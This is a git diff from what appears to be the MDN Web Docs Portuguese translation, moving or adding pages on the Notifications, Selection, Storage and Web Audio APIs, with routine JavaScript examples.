{{ languages( { "en": "en/DOM/element.insertBefore", "pl": "pl/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore" } ) }}

diff --git a/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html b/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html new file mode 100644 index 0000000000..ca76a8b6bd --- /dev/null +++ b/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html @@ -0,0 +1,289 @@ +--- +title: Utilizar a API de Notificações +slug: Web/API/Notifications_API/Utilizar_API_Notificações +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{APIRef("Web Notifications")}}

+ +

The Notifications API lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the background. This article looks at the basics of using this API in your own apps.

+ +

{{AvailableInWorkers}}

+ +

Typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device brodcasts notifications.

+ +

+ +

The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems.

+ +

Exemplos

+ +
+
+

One of the most obvious use cases for web notifications is a web-based mail or IRC application that needs to notify the user when a new message is received, even if the user is doing something else with another application. Many real examples of this now exist, such as Slack.

+ +

We've written a couple of real world demos to give more of an idea of how web notifications can be used:

+ + +
+ +
+

.

+
+
+ +

Solicitar permissão

+ +

Before an app can send a notification, the user must grant the application the right to do so. This is a common requirement when an API tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.

+ +

Verificação do estado da permissão atual

+ +

You can check to see if you already have permission by checking the value of the {{domxref("Notification.permission")}} read only property. It can have one of three possible values:

+ +
+
default
+
The user hasn't been asked for permission yet, so notifications won't be displayed.
+
granted
+
The user has granted permission to display notifications, after having been asked previously.
+
denied
+
The user has explicitly declined permission to show notifications.
+
+ +

Obter permissão

+ +

If permission to display notifications hasn't been granted yet, the application needs to use the {{domxref("Notification.requestPermission()")}} method to request this form the user. In its simplest form, as used in the Emogotchi demo, we just include the following:

+ +
Notification.requestPermission();
+ +

The method also optionally accepts a callback function that is called once the user has responded to the request to display permissions (as seen in the second else ... if block below.) Commonly, you'll ask for permission to display notifications when your app is first initialized, and before trying to instantiate any. If you wanted to be really thorough, you could use a construct like the following (see To-do List Notifications):

+ +
function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!("Notification" in window)) {
+    alert("This browser does not support system notifications");
+  }
+
+  // Let's check whether notification permissions have already been granted
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // If the user accepts, let's create a notification
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // Finally, if the user has denied notifications and you
+  // want to be respectful there is no need to bother them any more.
+}
+ +
+

Note: Before version 37, Chrome doesn't let you call {{domxref("Notification.requestPermission()")}} in the load event handler (see issue 274284).

+
+ +

Permissões de manifesto do Firefox OS

+ +

Please note that while the Notifications API is not {{Glossary("privileged")}} or {{Glossary("certified")}}, you should still include an entry in your manifest.webapp file when including it in an Firefox OS app:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+},
+"messages": [{"notification": "path/to/your/index.html"}]
+
+
+ +
+

Note: When an application is installed, you shouldn't need to {{anch("Getting permission","explicitly request permission")}}, but you will still need the permissions and messages entries above for the notifications to be fired.

+
+ +

Criação de uma notificação

+ +

Creating a notification is easy; just use the {{domxref("Notification")}} constructor. This constructor expects a title to display within the notification and some options to enhance the notification such as an {{domxref("Notification.icon","icon")}} or a text {{domxref("Notification.body","body")}}.

+ +

For example, in the Emogotchi example we have two functions that can be called when a notification needs to be fired; which one is used depends on whether we want a set notification, or a notification that includes random body content:

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+  setTimeout(n.close.bind(n), 5000);
+}
+
+function randomNotification() {
+  var randomQuote = quoteChooser();
+  var options = {
+      body: randomQuote,
+      icon: 'img/sad_head.png',
+  }
+
+  var n = new Notification('Emogotchi says',options);
+  setTimeout(n.close.bind(n), 5000);
+}
+ +

Fechar notificações

+ +

Firefox and Safari close notifications automatically after a few moments (around four seconds). This may also happen at the operating system level. Some browsers don't however, such as Chrome. To make sure that the notifications close in all browsers, at the end of the above functions, we call the {{domxref("Notification.close")}} function inside a {{domxref("WindowTimers.setTimeout","setTimeout()")}} function to close the notification after 4 seconds. Also note the use of bind() to make sure the close() call is associated with the notification.

+ +
setTimeout(n.close.bind(n), 5000);
+
+ +
+

Note: When you receive a "close" event, there is no guarantee that it's the user who closed the notification. This is in line with the specification, which states: "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run."

+
+ +

Eventos de notificação

+ +

The notifications API spec lists two events that are triggered on the {{domxref("Notification")}} instance:

+ +
+
{{event("click")}}
+
Triggered when the user clicks on the notification.
+
{{event("error")}}
+
Triggered if something goes wrong with the notification; this is usually because the notification couldn't be displayed for some reason.
+
+ +

These events can be tracked using the {{domxref("Notification.onclick","onclick")}} and {{domxref("Notification.onerror","onerror")}} handlers. Because {{domxref("Notification")}} also inherits from {{domxref("EventTarget")}}, it's possible to use the {{domxref("EventTarget.addEventListener","addEventListener()")}} method on it.

+ +

There are also two other events that used to be listed in the spec, but were recently removed. These may still work in browsers for a while, but they should be treated as obsolete and not used:

+ +
+
{{event("close")}}
+
Triggered once the notification is closed.
+
{{event("show")}}
+
Triggered when the notification is displayed to the user.
+
+ +

Substituir notificações existentes

+ +

It is usually undesirable for a user to receive a lot of notifications in a short space of time — for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? To avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.

+ +

To do this, it's possible to add a tag to any new notification. If a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. If the notification with the same tag has already been displayed, the previous notification is closed and the new one is displayed.

+ +

Exemplo de etiqueta

+ +

Assume the following basic HTML:

+ +
<button>Notify me!</button>
+ +

It's possible to handle multiple notifications this way:

+ +
window.addEventListener('load', function () {
+  // At first, let's check if we have permission for notification
+  // If not, let's ask for it
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // If the user agreed to get notified
+    // Let's try to send ten notifications
+    if (window.Notification && Notification.permission === "granted") {
+      var i = 0;
+      // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
+      var interval = window.setInterval(function () {
+        // Thanks to the tag, we should only see the "Hi! 9" notification
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+        if (i++ == 9) {
+          window.clearInterval(interval);
+        }
+      }, 200);
+    }
+
+    // If the user hasn't told if he wants to be notified or not
+    // Note: because of Chrome, we are not sure the permission property
+    // is set, therefore it's unsafe to check for the "default" value.
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // If the user said okay
+        if (status === "granted") {
+          var i = 0;
+          // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
+          var interval = window.setInterval(function () {
+            // Thanks to the tag, we should only see the "Hi! 9" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+            if (i++ == 9) {
+              window.clearInterval(interval);
+            }
+          }, 200);
+        }
+
+        // Otherwise, we can fallback to a regular modal alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // If the user refuses to get notified
+    else {
+      // We can fallback to a regular modal alert
+      alert("Hi!");
+    }
+  });
+});
+ +

See the live result below:

+ +

{{ EmbedLiveSample('Tag_example', '100%', 30) }}

+ +

Receber notificação de cliques nas notificações da aplicação

+ +

When a user clicks on a notification generated by an app, you will be notified of this event in two different ways, depending on the circumstance:

+ +
    +
  1. A click event if your app has not closed or been put in the background between the time you create the notification and the time the user clicks on it.
  2. +
  3. A system message otherwise.
  4. +
+ +

See this code snippet for an example of how to deal with this.

+ +

Especificações

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Compatibilidade do navegador

+ +

{{page("/en-US/Web/API/Notification","Browser compatibility")}}

+ +

Consultar também

+ + diff --git "a/files/pt-pt/web/api/notifications_api/utilizar_api_notifica\303\247\303\265es/index.html" "b/files/pt-pt/web/api/notifications_api/utilizar_api_notifica\303\247\303\265es/index.html" deleted file mode 100644 index ca76a8b6bd..0000000000 --- "a/files/pt-pt/web/api/notifications_api/utilizar_api_notifica\303\247\303\265es/index.html" +++ /dev/null @@ -1,289 +0,0 @@ ---- -title: Utilizar a API de Notificações -slug: Web/API/Notifications_API/Utilizar_API_Notificações -translation_of: Web/API/Notifications_API/Using_the_Notifications_API ---- -

{{APIRef("Web Notifications")}}

- -

The Notifications API lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the background. This article looks at the basics of using this API in your own apps.

- -

{{AvailableInWorkers}}

- -

Typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device brodcasts notifications.

- -

- -

The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems.

- -

Exemplos

- -
-
-

One of the most obvious use cases for web notifications is a web-based mail or IRC application that needs to notify the user when a new message is received, even if the user is doing something else with another application. Many real examples of this now exist, such as Slack.

- -

We've written a couple of real world demos to give more of an idea of how web notifications can be used:

- - -
- -
-

.

-
-
- -

Solicitar permissão

- -

Before an app can send a notification, the user must grant the application the right to do so. This is a common requirement when an API tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.

- -

Verificação do estado da permissão atual

- -

You can check to see if you already have permission by checking the value of the {{domxref("Notification.permission")}} read only property. It can have one of three possible values:

- -
-
default
-
The user hasn't been asked for permission yet, so notifications won't be displayed.
-
granted
-
The user has granted permission to display notifications, after having been asked previously.
-
denied
-
The user has explicitly declined permission to show notifications.
-
- -

Obter permissão

- -

If permission to display notifications hasn't been granted yet, the application needs to use the {{domxref("Notification.requestPermission()")}} method to request this form the user. In its simplest form, as used in the Emogotchi demo, we just include the following:

- -
Notification.requestPermission();
- -

The method also optionally accepts a callback function that is called once the user has responded to the request to display permissions (as seen in the second else ... if block below.) Commonly, you'll ask for permission to display notifications when your app is first initialized, and before trying to instantiate any. If you wanted to be really thorough, you could use a construct like the following (see To-do List Notifications):

- -
function notifyMe() {
-  // Let's check if the browser supports notifications
-  if (!("Notification" in window)) {
-    alert("This browser does not support system notifications");
-  }
-
-  // Let's check whether notification permissions have already been granted
-  else if (Notification.permission === "granted") {
-    // If it's okay let's create a notification
-    var notification = new Notification("Hi there!");
-  }
-
-  // Otherwise, we need to ask the user for permission
-  else if (Notification.permission !== 'denied') {
-    Notification.requestPermission(function (permission) {
-      // If the user accepts, let's create a notification
-      if (permission === "granted") {
-        var notification = new Notification("Hi there!");
-      }
-    });
-  }
-
-  // Finally, if the user has denied notifications and you
-  // want to be respectful there is no need to bother them any more.
-}
- -
-

Note: Before version 37, Chrome doesn't let you call {{domxref("Notification.requestPermission()")}} in the load event handler (see issue 274284).

-
- -

Permissões de manifesto do Firefox OS

- -

Please note that while the Notifications API is not {{Glossary("privileged")}} or {{Glossary("certified")}}, you should still include an entry in your manifest.webapp file when including it in an Firefox OS app:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-},
-"messages": [{"notification": "path/to/your/index.html"}]
-
-
- -
-

Note: When an application is installed, you shouldn't need to {{anch("Getting permission","explicitly request permission")}}, but you will still need the permissions and messages entries above for the notifications to be fired.

-
- -

Criação de uma notificação

- -

Creating a notification is easy; just use the {{domxref("Notification")}} constructor. This constructor expects a title to display within the notification and some options to enhance the notification such as an {{domxref("Notification.icon","icon")}} or a text {{domxref("Notification.body","body")}}.

- -

For example, in the Emogotchi example we have two functions that can be called when a notification needs to be fired; which one is used depends on whether we want a set notification, or a notification that includes random body content:

- -
function spawnNotification(theBody,theIcon,theTitle) {
-  var options = {
-      body: theBody,
-      icon: theIcon
-  }
-  var n = new Notification(theTitle,options);
-  setTimeout(n.close.bind(n), 5000);
-}
-
-function randomNotification() {
-  var randomQuote = quoteChooser();
-  var options = {
-      body: randomQuote,
-      icon: 'img/sad_head.png',
-  }
-
-  var n = new Notification('Emogotchi says',options);
-  setTimeout(n.close.bind(n), 5000);
-}
- -

Fechar notificações

- -

Firefox and Safari close notifications automatically after a few moments (around four seconds). This may also happen at the operating system level. Some browsers don't however, such as Chrome. To make sure that the notifications close in all browsers, at the end of the above functions, we call the {{domxref("Notification.close")}} function inside a {{domxref("WindowTimers.setTimeout","setTimeout()")}} function to close the notification after 4 seconds. Also note the use of bind() to make sure the close() call is associated with the notification.

- -
setTimeout(n.close.bind(n), 5000);
-
- -
-

Note: When you receive a "close" event, there is no guarantee that it's the user who closed the notification. This is in line with the specification, which states: "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run."

-
- -

Eventos de notificação

- -

The notifications API spec lists two events that are triggered on the {{domxref("Notification")}} instance:

- -
-
{{event("click")}}
-
Triggered when the user clicks on the notification.
-
{{event("error")}}
-
Triggered if something goes wrong with the notification; this is usually because the notification couldn't be displayed for some reason.
-
- -

These events can be tracked using the {{domxref("Notification.onclick","onclick")}} and {{domxref("Notification.onerror","onerror")}} handlers. Because {{domxref("Notification")}} also inherits from {{domxref("EventTarget")}}, it's possible to use the {{domxref("EventTarget.addEventListener","addEventListener()")}} method on it.

- -

There are also two other events that used to be listed in the spec, but were recently removed. These may still work in browsers for a while, but they should be treated as obsolete and not used:

- -
-
{{event("close")}}
-
Triggered once the notification is closed.
-
{{event("show")}}
-
Triggered when the notification is displayed to the user.
-
- -

Substituir notificações existentes

- -

It is usually undesirable for a user to receive a lot of notifications in a short space of time — for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? To avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.

- -

To do this, it's possible to add a tag to any new notification. If a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. If the notification with the same tag has already been displayed, the previous notification is closed and the new one is displayed.

- -

Exemplo de etiqueta

- -

Assume the following basic HTML:

- -
<button>Notify me!</button>
- -

It's possible to handle multiple notifications this way:

- -
window.addEventListener('load', function () {
-  // At first, let's check if we have permission for notification
-  // If not, let's ask for it
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // If the user agreed to get notified
-    // Let's try to send ten notifications
-    if (window.Notification && Notification.permission === "granted") {
-      var i = 0;
-      // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
-      var interval = window.setInterval(function () {
-        // Thanks to the tag, we should only see the "Hi! 9" notification
-        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-        if (i++ == 9) {
-          window.clearInterval(interval);
-        }
-      }, 200);
-    }
-
-    // If the user hasn't told if he wants to be notified or not
-    // Note: because of Chrome, we are not sure the permission property
-    // is set, therefore it's unsafe to check for the "default" value.
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // If the user said okay
-        if (status === "granted") {
-          var i = 0;
-          // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
-          var interval = window.setInterval(function () {
-            // Thanks to the tag, we should only see the "Hi! 9" notification
-            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-            if (i++ == 9) {
-              window.clearInterval(interval);
-            }
-          }, 200);
-        }
-
-        // Otherwise, we can fallback to a regular modal alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // If the user refuses to get notified
-    else {
-      // We can fallback to a regular modal alert
-      alert("Hi!");
-    }
-  });
-});
- -

See the live result below:

- -

{{ EmbedLiveSample('Tag_example', '100%', 30) }}

- -

Receber notificação de cliques nas notificações da aplicação

- -

When a user clicks on a notification generated by an app, you will be notified of this event in two different ways, depending on the circumstance:

- -
    -
  1. A click event if your app has not closed or been put in the background between the time you create the notification and the time the user clicks on it.
  2. -
  3. A system message otherwise.
  4. -
- -

See this code snippet for an example of how to deal with this.

- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
- -

Compatibilidade do navegador

- -

{{page("/en-US/Web/API/Notification","Browser compatibility")}}

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/selection/index.html b/files/pt-pt/web/api/selection/index.html new file mode 100644 index 0000000000..a33e618def --- /dev/null +++ b/files/pt-pt/web/api/selection/index.html @@ -0,0 +1,76 @@ +--- +title: Selection (Seleção) +slug: DOM/Selection +translation_of: Web/API/Selection +--- +

Introdução

+ +

Selection é a classe do objeto retornado por window.getSelection() e outros métodos. Um objeto Selection representa os intervalos que o usuário tenha selecionado. Normalmente, ele tem apenas um intervalo, acessada assim:

+ +
selection = window.getSelection();
+range = selection.getRangeAt(0);
+ +

Chamar o método toString() retorna o texto contido na seleção, por exemplo:

+ +
selection = window.getSelection();
+window.alert(selection);
+
+ +

Glossário

+ +

Outros termos utilizados nesta seção.

+ +
+
Âncora (anchor)
+
A âncora de uma seleção é o ponto de início da seleção. Ao fazer uma seleção com um mouse, a âncora no documento é o local onde o botão do mouse é inicialmente pressionado. Como o usuário muda a seleção usando o mouse ou o teclado, a âncora não se move.
+
Foco (focus)
+
O foco da seleção é o ponto final da seleção. Ao fazer uma seleção com o mouse, o foco está no documento onde o botão do mouse é liberado. Como o usuário muda a seleção usando o mouse ou o teclado, o foco é a final da seleção que se move.
+
Intervalo (range)
+
Um intervalo é uma parte contígua de um documento. Um intervalo pode conter nós inteiro, bem como partes de nós, como uma parte de um nó de texto. Um usuário normalmente só seleciona um intervalo de cada vez, mas é possível que um usuário selecione vários intervalos (por exemplo, usando a tecla Control). Um intervalo pode ser recuperado a partir de uma seleção como um objeto Range. Objetos Range também podem ser criadas através do DOM e programaticamente adicionado ou removido de uma seleção.
+
+ +

Propriedades

+ +
+
anchorNode
+
Retorna o nó em que a seleção começa.
+
anchorOffset
+
Retorna o número de caracteres que a âncora da seleção é compensada dentro do anchorNode.
+
focusNode
+
Retorna o nó em que a seleção termina.
+
focusOffset
+
Retorna o número de caracteres que o foco da seleção é compensado dentro do focusNode.
+
isCollapsed
+
Retorna um booleano indicando se os pontos de início e fim da seleção estão na mesma posição.
+
rangeCount
+
Retorna o número de faixas na seleção.
+
+ +

Métodos

+ +
+
addRange
+
Um objeto de intervalo (Range) que será adicionado à seleção.
+
collapse
+
Recolhe a seleção atual para um único ponto.
+
collapseToStart
+
Move o foco da seleção para o mesmo ponto da âncora.
+
collapseToEnd
+
Move a âncora da seleção para o mesmo ponto que o foco. O foco não se move.
+
containsNode
+
Indica se um determinado nó é parte da seleção.
+
deleteFromDocument
+
Apaga o conteúdo da seleção do documento.
+
extend
+
Move o foco da seleção para um ponto especificado.
+
getRangeAt
+
Retorna um objeto de intervalo (Range) representando um dos intervalos atualmente selecionados.
+
removeAllRanges
+
Remove todos os intervalos da seleção.
+
removeRange
+
Remove uma faixa (range) da seleção.
+
selectAllChildren
+
Adiciona todos os filhos do nó especificado para a seleção.
+
toString
+
Retorna uma string a ser representada pelo objeto de seleção, ou seja, o texto atualmente selecionado.
+
diff --git a/files/pt-pt/web/api/sistema_de_ficheiros/index.html b/files/pt-pt/web/api/sistema_de_ficheiros/index.html deleted file mode 100644 index 76c4db9d6c..0000000000 --- a/files/pt-pt/web/api/sistema_de_ficheiros/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Sistema de Ficheiros -slug: Web/API/Sistema_de_ficheiros -tags: - - API - - File API - - File System API - - File and Directory Entries API - - Interface - - Não Standard - - Offline - - filesystem -translation_of: Web/API/FileSystem ---- -
-

{{APIRef("File System API")}}{{SeeCompatTable}}

- -

A interface da "API de Entradas de Diretorias e Ficheiros" é usada para representar um sistema de ficheiros. Estes objetos podem ser obtidos a partir da propriedade {{domxref("FileSystemEntry.filesystem", "filesystem")}} em qualquer entrada do sistema de ficheiros. Alguns navegadores oferecem APIs adicionais para criar e gerir sistemas de ficheiros, por exemplo o método {{domxref("Window.requestFileSystem", "requestFileSystem()")}} encontrado no Chrome.

- -

Esta interface não dá acesso ao filesystem do utilizador. Em vez disso, terá uma "drive virtual" dentro da sandbox do navegador. Se quiser ter acesso ao sistema de ficheiros dos utilizadores, necessita de invocar o utilizador.

-
- -

Conceitos básicos

- -

Existem duas formas para aceder ao objeto FileSystem:

- -
    -
  1. Pode pedir por um dentro duma sandbox para só a sua app ao chamar window.requestFileSystem(). Se a chamada tiver sucesso, é executada uma callback handler, que recebe como parâmetro um objeto FileSystem que descreve o sistema de ficheiros.
  2. -
  3. Pode o pedir através duma entrada no sistema de ficheiros, com a propriadade {{domxref("FileSystemEntry.filesystem", "filesystem")}}.
  4. -
- -

Atributos

- -
-
{{domxref("FileSystem.name")}} {{ReadOnlyInline}}
-
Uma {{domxref("USVString")}} que representa o nome do sistema de ficheiros. Este nome é único na lista de sistemas de ficheiros exposta.
-
{{domxref("FileSystem.root")}} {{ReadOnlyInline}}
-
Um objeto de {{domxref("FileSystemDirectoryEntry")}} que representa a diretoria raiz do sistema de ficheiros. Através deste objeto, pode ganhar acesso a todos os ficheiros e diretorias no sistema.
-
- -

Compatibilidade

- - - -

{{Compat("api.FileSystem")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/storage_api/index.html b/files/pt-pt/web/api/storage_api/index.html new file mode 100644 index 0000000000..434cee963d --- /dev/null +++ b/files/pt-pt/web/api/storage_api/index.html @@ -0,0 +1,128 @@ +--- +title: API de armazenamento +slug: Web/API/API_armazenamento +tags: + - API + - API de armazenamento + - Armazenamento + - Contextod e segurança + - Quotas + - Referencia + - Resumo + - Sinopse + - Utilização +translation_of: Web/API/Storage_API +--- +

{{securecontext_header}}{{DefaultAPISidebar("Storage")}}

+ +

The Storage Standard defines a common, shared storage system to be used by all APIs and technologies that store content-accessible data for individual Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the {{Glossary("user agent")}} disposes of site data in order to make room for other things.

+ +

{{AvailableInWorkers}}

+ +

Site storage—the data stored for a Web site which is managed by the Storage Standard—includes:

+ + + +

Unidades de armazenamento de site

+ +

The site storage system described by the Storage Standard and interacted with using the Storage API consists of a single site storage unit for each {{Glossary("origin")}}. In essence, every Web site or Web application has its own storage unit into which its data gets placed. The diagram below shows a site storage pool with three storage units within, showing how storage units can have different data types stored within and may have different quotas (maximum storage limits).

+ +

A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached.

+ + + +

{{Glossary("User agent", "User agents")}} are likely to use various techniques to determine the quota for various origins. One of the most likely methods—one which the specification specifically encourages, in fact—would be to consider the popularity and/or usage levels of individual sites to determine what their quotas should be.  It's also conceivable that the browser might offer a user interface to customize these quotas.

+ +

Modos de caixa (Box)

+ +

The actual data storage within each site storage unit is called its box. Each site storage unit has exactly one box into which all of its data is placed, and has a box mode that describes the data retention policy for that box. There are two modes:

+ +
+
"best-effort"
+
The user agent will try to retain the data contained in the box for as long as it can, but will not warn users if storage space runs low and it becomes necessary to clear the box in order to relieve the storage pressure.
+
"persistent"
+
The user agent will retain the data as long as possible, clearing all "best-effort" boxes before considering clearing a box marked "persistent". If it becomes necessary to consider clearing persistent boxes, the user agent will notify the user and provide a way to clear one or more persistent boxes as needed.
+
+ +

To change an origin's box mode requires permission to use the "persistent-storage" feature.

+ +

Persistência de dados e limpeza

+ +

If the site or app has the "persistent-storage" feature permission, it can use the {{domxref("StorageManager.persist()")}} method to request that its box be made persistent. It's also possible for the user agent to decide to make the site's storage unit persistent due to usage characteristics or other metrics. The "persistent-storage" feature's permission-related flags, algorithms, and types are all set to the standard defaults for a permission, except that the permission state must be the same across the entire origin, and that if the permission state isn't "granted" (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always "best-effort".

+ +
+

Nota: Consulte Using the Permissions API para mais detalhes sobre como obter e gerir as permissões.

+
+ +

When clearing site storage units, an origin's box is treated as a single entity; if the user agent needs to clear it and the user approves, the entire data store is cleared rather than providing some means of clearing only data from individual APIs.

+ +

If a box is marked as "persistent", the contents won't be cleared by the user agent without either the data's origin itself or the user specifically doing so. This includes scenarios such as the user selecting a "Clear Caches" or "Clear Recent History" option. The user will be asked specifically for permission to remove persistent site storage units.

+ +

Quotas e estimativas de utilização

+ +

The user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. This maximum is the origin's quota. The amount of this space which is in use by the site is called its usage. Both of these values are estimates; there are several reasons why they're not precise:

+ + + +

User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space.

+ +

To determine the estimated quota and usage values for a given origin, use the {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}} method, which returns a promise that, when resolved, receives a {{domxref("StorageEstimate")}} that contains these figures. For example:

+ +
navigator.storage.estimate().then(estimate => {
+  // estimate.quota is the estimated quota
+  // estimate.usage is the estimated number of bytes used
+});
+ +

Especificações

+ + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('Storage')}}{{Spec2('Storage')}}Definição inicial.
+ +

Compatibilidade de navegador

+ +
+

StorageManager

+ +
+ + +

{{Compat("api.StorageManager")}}

+
+
+ +

Consultar também

+ + diff --git a/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html b/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html new file mode 100644 index 0000000000..d9a72f2694 --- /dev/null +++ b/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html @@ -0,0 +1,259 @@ +--- +title: Utilizar a API de Áudio da Web +slug: Web/API/Web_Audio_API/Utilizar_api_audio_web +tags: + - API + - API de Áudio da Web + - Guía + - Referencia + - Utilização + - básicos +translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API +--- +
{{DefaultAPISidebar("Web Audio API")}}
+ +
+

Vamos ver como começar a utilizar a API de Áudio da Web. Nós iremos ver resumidamente alguns conceitos, e depois estudar um exemplo simples de caixa de som que nos permite carregar uma faixa de áudio, reproduzi-la e pausá-la, e alterar o seu volume e panning estéreo.

+
+ +
+

The Web Audio API does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.

+ +

A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.

+
+ +

Código exemplo

+ +

A nossa caixa de música parece-se com isto:

+ +

A boombox with play, pan, and volume controls

+ +

Note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. We could make this a lot more complex, but this is ideal for simple learning at this stage.

+ +

Check out the final demo here on Codepen, or see the source code on GitHub.

+ +

Suporte para navegador

+ +

Modern browsers have good support for most features of the Web Audio API. There are a lot of features of the API, so for more exact information, you'll have to check the browser compatibility tables at the bottom of each reference page.

+ +

Gráficos de áudio

+ +

Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.

+ +

The Web Audio API handles audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.

+ +

Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.

+ +

Contxeto de Áudio

+ +

To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.

+ +
// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioCtx = new AudioContext();
+
+ +

So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.

+ +
+

Note: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.

+
+ +

Carregar som

+ +

Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.

+ +
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
+
+ +
+

Nota: If the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see Cross Origin Resource Sharing (CORS)  for more information.

+
+ +

To use all the nice things we get with the Web Audio API, we need to grab the source from this element and pipe it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:

+ +
// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioCtx.createMediaElementSource(audioElement);
+
+ +
+

